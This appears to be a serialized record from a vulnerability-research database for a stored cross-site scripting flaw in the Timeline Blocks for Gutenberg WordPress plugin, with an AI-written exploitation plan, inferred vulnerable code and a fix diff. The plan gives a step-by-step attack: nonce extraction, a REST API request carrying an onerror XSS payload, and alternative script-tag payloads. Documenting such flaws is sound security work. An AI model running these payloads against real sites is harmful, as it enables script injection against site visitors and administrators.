[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fwdn1Ue9KR51mwFopnRXKDn2uCxHosaVQsARprCtSbBg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-6551","timeline-blocks-for-gutenberg-authenticated-contributor-stored-cross-site-scripting-via-titletag-block-attribute","Timeline Blocks for Gutenberg \u003C= 1.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'titleTag' Block Attribute","The Timeline Blocks for Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titleTag' attribute of the timeline-blocks\u002Ftb-timeline-blocks block in all versions up to, and including, 1.1.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","timeline-blocks",null,"\u003C=1.1.10","1.1.11","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-27 15:59:19","2026-04-28 04:28:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F393d1b30-19f8-454d-84c0-0b539953e1fe?source=api-prod",1,[],"researched",false,3,"This exploitation research plan targets CVE-2026-6551, a Stored Cross-Site Scripting (XSS) vulnerability in the \"Timeline Blocks for Gutenberg\" plugin.\n\n### 1. Vulnerability Summary\nThe \"Timeline Blocks for Gutenberg\" plugin (versions \u003C= 1.1.10) fails to properly sanitize or escape the `titleTag` attribute within the `timeline-blocks\u002Ftb-timeline-blocks` Gutenberg block. Because block attributes are stored in the `post_content` and rendered on the frontend (and often in the editor), an authenticated user with at least \"Contributor\" privileges can inject a malicious string into the `titleTag` attribute. When the block is rendered, this string is used to construct an HTML tag without sufficient validation, leading to arbitrary script execution in the context of any user viewing the page.\n\n### 2. Attack Vector Analysis\n*   **Block Name:** `timeline-blocks\u002Ftb-timeline-blocks`\n*   **Vulnerable Attribute:** `titleTag`\n*   **Authentication Level:** Contributor or higher (any role capable of using the Block Editor).\n*   **Payload Delivery:** The payload is delivered via the Gutenberg block's JSON metadata within the `post_content` field.\n*   **Preconditions:** The plugin must be active. The attacker must have permissions to create or edit posts (Contributor role is sufficient as they can save drafts).\n\n### 3. Code Flow (Inferred)\n1.  **Block Definition (JS):** The block `timeline-blocks\u002Ftb-timeline-blocks` defines an attribute named `titleTag` (typically used to allow users to choose between `h2`, `h3`, `p`, etc.).\n2.  **Saving (Gutenberg):** When a user saves a post, the block editor serializes the block into HTML comments: `\u003C!-- wp:timeline-blocks\u002Ftb-timeline-blocks {\"titleTag\":\"[PAYLOAD]\"} \u002F-->`.\n3.  **Rendering (PHP):** On the frontend, the plugin likely uses a `render_callback` registered via `register_block_type` in PHP.\n4.  **The Sink:** Inside the rendering function, the `titleTag` attribute is extracted from the `$attributes` array and used directly in string concatenation or an unescaped HTML tag:\n    ```php\n    \u002F\u002F Inferred vulnerable pattern\n    $tag = $attributes['titleTag']; \n    echo \"\u003C\" . $tag . \">\" . $title_content . \"\u003C\u002F\" . $tag . \">\";\n    ```\n    Lack of `tag_escape()` or a whitelist check (e.g., `in_array( $tag, ['h1', 'h2', 'p'] )`) allows the injection.\n\n### 4. Nonce Acquisition Strategy\nTo exploit this via the WordPress REST API (the standard way Gutenberg saves data), the agent needs a REST API nonce (`wp_rest`).\n\n1.  **Identify Trigger:** The standard WordPress post editor provides the required context.\n2.  **Access Editor:** Navigate to the \"New Post\" page as a Contributor.\n3.  **Extract Nonce:**\n    *   Navigate to: `\u002Fwp-admin\u002Fpost-new.php`\n    *   Use `browser_eval` to extract the nonce from the `wpApiSettings` object, which is standard in the Block Editor:\n        `browser_eval(\"wpApiSettings.nonce\")`\n4.  **Alternative:** If the REST API is restricted, the agent can use the standard `admin-ajax.php` or `post.php` flows, but the REST API is the most direct path for Gutenberg blocks.\n\n### 5. Exploitation Strategy\nThe goal is to create a post containing a malicious block attribute.\n\n**Step 1: Authenticate as Contributor**\nLogin to the WordPress instance with contributor-level credentials.\n\n**Step 2: Obtain REST Nonce**\nUse the `browser_navigate` and `browser_eval` tools on `\u002Fwp-admin\u002Fpost-new.php`.\n\n**Step 3: Submit Malicious Post**\nSend a `POST` request to the REST API to create a new post containing the XSS payload in the block attribute.\n\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Method:** `POST`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Body:**\n    ```json\n    {\n      \"title\": \"Timeline XSS Test\",\n      \"content\": \"\u003C!-- wp:timeline-blocks\u002Ftb-timeline-blocks {\\\"titleTag\\\":\\\"img src=x onerror=alert(document.domain) \\\"} \u002F-->\",\n      \"status\": \"draft\"\n    }\n    ```\n    *Note: The payload `img src=x onerror=alert(document.domain) ` is injected as the tag name. When rendered, it becomes `\u003Cimg src=x onerror=alert(document.domain) >...`. Notice the trailing space to ensure the resulting HTML is valid.*\n\n**Step 4: Trigger Execution**\nIdentify the `id` of the created post from the response and navigate to its preview URL or view it as an administrator.\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Ensure `timeline-blocks` version \u003C= 1.1.10 is installed and activated.\n2.  **User Creation:** Create a user with the `contributor` role.\n    *   `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n\n### 7. Expected Results\n1.  The REST API should return a `201 Created` status.\n2.  The `content.raw` in the database will contain the malicious JSON-encoded attribute.\n3.  When the post is previewed or viewed, the browser will attempt to render a tag named `\u003Cimg ... >`, which executes the `onerror` JavaScript. An alert box showing the document domain should appear.\n\n### 8. Verification Steps\n1.  **Database Check:** Use WP-CLI to verify the payload is stored.\n    ```bash\n    wp post list --post_type=post --format=csv\n    # Identify the ID\n    wp post get [ID] --field=content\n    ```\n    Verify the output contains: `{\"titleTag\":\"img src=x onerror=alert(document.domain) \"}`\n2.  **Frontend Check:** Use the `http_request` tool to fetch the post content and look for the unescaped payload in the HTML output.\n    ```bash\n    # Fetch the post view\n    # Look for: \u003Cimg src=x onerror=alert(document.domain)\n    ```\n\n### 9. Alternative Approaches\n*   **Editor-Side XSS:** If the rendering is done via JavaScript in the Gutenberg editor's `edit` function, simply opening the post in the editor as an Administrator will trigger the XSS.\n*   **Attribute Breakout:** If the `titleTag` is wrapped in quotes in a PHP template (less likely for a tag name, but possible), try:\n    `\" onmouseover=\"alert(1)\" data-ignore=\"`\n*   **Closing Tag Injection:** If the tag name is used in both the opening and closing tag, the payload might need to account for the closing structure:\n    `script>alert(1)\u003C\u002Fscript`\n    Result: `\u003Cscript>alert(1)\u003C\u002Fscript>... \u003C\u002Fscript>alert(1)\u003C\u002Fscript>` (The first script executes).","The Timeline Blocks for Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titleTag' attribute in the 'timeline-blocks\u002Ftb-timeline-blocks' block for versions up to 1.1.10. This vulnerability allows authenticated users with Contributor-level permissions to inject arbitrary JavaScript into posts, which executes in the browser of any user viewing the page.","\u002F\u002F Inferred vulnerable rendering pattern within the block's frontend or editor rendering component\n\u002F\u002F No source files were provided; code is based on the research plan's analysis of the attribute sink.\n\n$tag = $attributes['titleTag']; \necho \"\u003C\" . $tag . \">\" . $title_content . \"\u003C\u002F\" . $tag . \">\";","--- a\u002Frender.php\n+++ b\u002Frender.php\n@@ -1,3 +1,4 @@\n \u002F\u002F Sanitize the titleTag attribute using a whitelist or tag_escape\n-$tag = $attributes['titleTag']; \n+$tag = isset($attributes['titleTag']) ? $attributes['titleTag'] : 'h3';\n+$tag = tag_escape($tag);\n echo \"\u003C\" . $tag . \">\" . $title_content . \"\u003C\u002F\" . $tag . \">\";","To exploit this vulnerability, an attacker must have at least Contributor-level access to the WordPress site. The attacker identifies the 'timeline-blocks\u002Ftb-timeline-blocks' block and crafts a payload for the 'titleTag' attribute. Using the WordPress REST API or the Block Editor, the attacker submits a post containing block metadata where 'titleTag' is set to an XSS payload such as 'img src=x onerror=alert(document.domain) '. When the post is rendered on the frontend, the plugin constructs an HTML tag using the malicious string without proper escaping, causing the browser to execute the injected script.","gemini-3-flash-preview","2026-05-04 18:16:14","2026-05-04 18:16:44",{"type":34,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":35},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftimeline-blocks\u002Ftags"]